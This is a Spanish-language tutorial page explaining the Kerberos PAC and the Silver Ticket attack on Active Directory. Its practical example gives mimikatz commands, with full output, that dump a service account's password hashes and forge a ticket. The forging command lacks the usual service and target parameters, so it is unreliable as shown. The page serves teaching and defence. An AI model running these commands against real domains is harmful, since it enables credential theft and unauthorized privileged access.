# 3 - Silver Ticket Attack

En entornos de Active Directory, Kerberos es el protocolo de autenticación central. Una de sus características particulares en la implementación de Microsoft es el uso del **PAC (Privilege Attribute Certificate)**, una estructura que encapsula la _**identidad y atributos de seguridad de un usuario**_. Este PAC no es una extensión formal del protocolo Kerberos, sino que se inserta en el campo de **"datos de autorización"** de los tickets emitidos, cumpliendo un rol fundamental en la generación de tokens de seguridad dentro de Windows.

El **PAC** contiene información crítica: nombre del usuario, identificador (SID), membresías de grupo, atributos de seguridad, restricciones de acceso, entre otros. Esta información, que únicamente el **KDC (Key Distribution Center)** puede conocer con certeza, permite que los servicios del dominio generen tokens adaptados a cada sesión, según los privilegios del usuario. El PAC está presente tanto en el **Ticket Granting Ticket (TGT)** como en los **tickets de servicio (TGS)**, y _**está cifrado con claves**_ que solo el KDC o el servicio destino conocen, impidiendo que un usuario modifique su propio perfil de acceso. En otras palabras, el PAC actúa como una _**credencial que abre puertas, pero solo aquellas para las que se tiene permiso legítimo**_. Un ejemplo del contenido de un PAC sería el siguiente

<pre><code><strong>AuthorizationData item
</strong>    ad-type: AD-Win2k-PAC (128)
<strong>        Type: Logon Info (1)
</strong>            PAC_LOGON_INFO: 01100800ccccccccf001000000000000000004005f9b0c27...
                Logon Time: Apr 22, 2024 09:15:42.152000 UTC
                Logoff Time: Infinity (absolute time)
                PWD Last Set: Apr 1, 2024 12:00:00.000000 UTC
                PWD Can Change: Apr 2, 2024 12:00:00.000000 UTC
                PWD Must Change: Jul 1, 2024 12:00:00.000000 UTC
<strong>                Acct Name: john.doe
</strong>                Full Name: John Doe
                Logon Count: 5
                Bad PW Count: 0
<strong>                User RID: 1601
</strong>                Group RID: 513
                GROUP_MEMBERSHIP_ARRAY
                    Referent ID: 0x0004001d
                    Max Count: 2
                    GROUP_MEMBERSHIP:
                        Group RID: 513
                        Attributes: 0x00000007
                            Enabled: SET
                            Enabled By Default: SET
                            Mandatory: SET
                    GROUP_MEMBERSHIP:
                        Group RID: 545
                        Attributes: 0x00000007
                            Enabled: SET
                            Enabled By Default: SET
                            Mandatory: SET
                User Flags: 0x00000000
                User Session Key: 8A4DC3E1F76BB1324F82D7A19B992DFA
                Server: DC01
                Domain: CORP.LOCAL
                SID pointer:
<strong>                    Domain SID: S-1-5-21-4567890123-1234567890-9876543210
</strong>                User Account Control: 0x00000200
<strong>                    Don't Require PreAuth: FALSE
</strong>                    Use DES Key Only: FALSE
<strong>                    Not Delegated: TRUE
</strong>                    Trusted For Delegation: FALSE
                    SmartCard Required: FALSE
                    Encrypted Text Password Allowed: FALSE
                    Account Auto Locked: FALSE
                    Don't Expire Password: FALSE
                    Server Trust Account: FALSE
                    Workstation Trust Account: FALSE
                    Interdomain Trust Account: FALSE
                    MNS Logon Account: FALSE
                    Normal Account: TRUE
                    Temp Duplicate Account: FALSE
                    Password Not Required: FALSE
                    Home Directory Required: FALSE
                    Account Disabled: FALSE
</code></pre>

#### Silver Ticket

Cuando un cliente desea acceder a un servicio —por ejemplo, un recurso compartido o una base de datos—, envía una solicitud **KRB\_TGS\_REQ** al KDC para obtener un **TGS** que le permita autenticarse ante dicho servicio.&#x20;

<figure><img src="https://3952817437-files.gitbook.io/~/files/v0/b/gitbook-x-prod.appspot.com/o/spaces%2Fa7XmBBD8fWuk6wM75Um3%2Fuploads%2Fs9ir7TyEtwar58uelAp4%2F3.png?alt=media&#x26;token=bce3e66a-d138-48c7-a61b-2099d17e9a15" alt="" width="563"><figcaption></figcaption></figure>

La respuesta (**KRB\_TGS\_REP**) contiene un ticket cifrado con la clave secreta (hash NTLM) de la cuenta que ejecuta el servicio.&#x20;

<figure><img src="https://3952817437-files.gitbook.io/~/files/v0/b/gitbook-x-prod.appspot.com/o/spaces%2Fa7XmBBD8fWuk6wM75Um3%2Fuploads%2FixKEOfz2boLEUEikWJd4%2F4.png?alt=media&#x26;token=273ef149-a700-486b-919f-3a57cadfa445" alt="" width="563"><figcaption></figcaption></figure>

Este diseño permite que el servicio pueda verificar la autenticidad del ticket sin necesidad de consultar al KDC, ya que está cifrado con su propia clave. Sin embargo, esta descentralización también introduce un riesgo: si un atacante consigue el **hash NTLM** de una cuenta de servicio (ya sea de una cuenta de usuario o de una máquina, como `DESKTOP-01$`), puede _**fabricar su propio TGS**_ sin interactuar con el KDC. A este ticket falsificado se lo conoce como un _**Silver Ticket**_.

El atacante, con el hash en su poder, puede generar manualmente una estructura de ticket que simule la respuesta legítima del KDC. Define el dominio, el nombre del servicio (su SPN), una identidad arbitraria (como `Attacker`), una clave de sesión inventada y un PAC falsificado que, por ejemplo, lo declare miembro del grupo de administradores del dominio. Posteriormente, _**cifra el bloque sensible del ticket con el hash NTLM de la cuenta de servicio y construye una solicitud**_**&#x20;KRB\_AP\_REQ&#x20;**_**para enviársela directamente al servicio objetivo**_. Si el servicio acepta el ticket —lo cual suele ocurrir— y no realiza una _**verificación exhaustiva del PAC**_, el atacante podrá acceder con privilegios elevados, simulando ser un usuario autorizado.

El truco está en las **firmas del PAC**. Microsoft utiliza un sistema de doble firma: una con el secreto de la cuenta de servicio (que el atacante conoce) y otra con el secreto de la cuenta **`krbtgt`** (que no conoce). Aunque no puede generar una firma PAC completa y válida, en muchos casos _**los servicios solo verifican la primera firma**_, especialmente si se ejecutan con privilegios altos (como `SYSTEM`) o tienen asignado el privilegio **`SeTcbPrivilege`**. Esto permite que el Silver Ticket funcione a pesar de que su PAC no esté validado por el KDC. Como resultado, incluso si el administrador cambia la contraseña de la cuenta **`krbtgt`** (lo cual revoca Golden Tickets), los Silver Tickets seguirán siendo válidos siempre que no se _**modifique la contraseña de la cuenta de servicio comprometida**_.

**Ejemplo practico 1**



<pre class="language-vim"><code class="lang-vim"><strong>mimikatz # lsadump::lsa /inject /name:sqlservice 
</strong>Domain : CONTROLLER / S-1-5-21-432953485-3795405108-1502158860 

RID  : 00000455 (1109)
<strong>User : sqlservice
</strong>
 * Primary
    NTLM : cd40c9ed96265531b21fc5b1dafcfb0a
    LM   :
<strong>  Hash NTLM: cd40c9ed96265531b21fc5b1dafcfb0a
</strong>    ntlm- 0: cd40c9ed96265531b21fc5b1dafcfb0a
    lm  - 0: 7bb53f77cde2f49c17190f7a071bd3a0

 * WDigest
    01  ba42b3f2ef362e231faca14b6dea61ef
    02  00a0374f4ac4bce4adda196e458dd8b8
    03  f39d8d3e34a4e2eac8f6d4b62fe52d06
    04  ba42b3f2ef362e231faca14b6dea61ef
    05  98c65218e4b7b8166943191cd8c35c23
    06  6eccb56cda1444e3909322305ed04b37
    07  25b7998ce2e7b826a576a43f89702921
    08  8609a1da5628a4016d32f9eb73314fa0
    09  277f84c6c59728fb963a6ee1a3b27f0d
    10  63a9f69e8b36c3e0612ec8784b9c7599
    11  47cb5c436807396994f1b9ccc8d2f8e1 
    12  46f2c402d8731ed6dca07f5dbc71a604
    13  2990e284070a014e54c749a6f96f9be7
    14  c059f85b7f01744dc0a2a013978a965f
    15  3600c835f3e81858a77e74370e047e29
    16  bd9c013f8a3f743f8a5b553e8a275a88
    17  c1d94e24d26fdaad4d6db039058c292e
    18  1a433c0634b50c567bac222be4eac871
    19  78d7a7573e4af2b8649b0280cd75636d
    20  136ddfa7840610480a76777f3be007e0
    21  7a4a266a64910bb3e5651994ba6d7fb4
    22  a75ec46a7a473e90da499c599bc3d3cb 
    23  8d3db50354c0744094334562adf74c2a
    24  7d07406132d671f73a139ff89da5d72e
    25  dd1e02d5c5b8ae969d903a0bc63d9191
    26  27da7fc766901eac79eba1a970ceb7da
    27  09333600bcc68ee149f449321a5efb27
    28  1c550f8b3af2eb4efda5c34aa8a1c549
    29  3cd9326a300d2261451d1504832cb062

 * Kerberos
    Default Salt : CONTROLLER.LOCALSQLService
    Credentials
      des_cbc_md5       : 5d5dae0dc10e7aec

 * Kerberos-Newer-Keys 
    Default Salt : CONTROLLER.LOCALSQLService
    Default Iterations : 4096
    Credentials
      aes256_hmac       (4096) : a3a6dbd4d6fa895b600c28bfdaf6b52d59d46a6eb1f455bc08a19b7e8cdab76d
      aes128_hmac       (4096) : 629b46af543142f77cabcf14afb1caea
      des_cbc_md5       (4096) : 5d5dae0dc10e7aec

 * NTLM-Strong-NTOWF
    Random Value : 7e9547ab69f52e42450903ebbe6ad6ec

<strong>mimikatz # Kerberos::golden /user:sqlservice /domain:controller.local /sid:S-1-5-21-432953485-3795405108-1502158860 /krbtgt:cd40c9ed96265531b21fc5b1dafcfb0a /id:1109
</strong>User      : sqlservice 
Domain    : controller.local (CONTROLLER)
SID       : S-1-5-21-432953485-3795405108-1502158860
User Id   : 1109
Groups Id : *513 512 520 518 519
ServiceKey: cd40c9ed96265531b21fc5b1dafcfb0a - rc4_hmac_nt
Lifetime  : 5/24/2025 11:24:08 PM ; 5/22/2035 11:24:08 PM ; 5/22/2035 11:24:08 PM
<strong>-> Ticket : ticket.kirbi
</strong>
<strong> * PAC generated
</strong> * PAC signed
 * EncTicketPart generated
 * EncTicketPart encrypted
 * KrbCred generated

<strong>Final Ticket Saved to file !
</strong></code></pre>

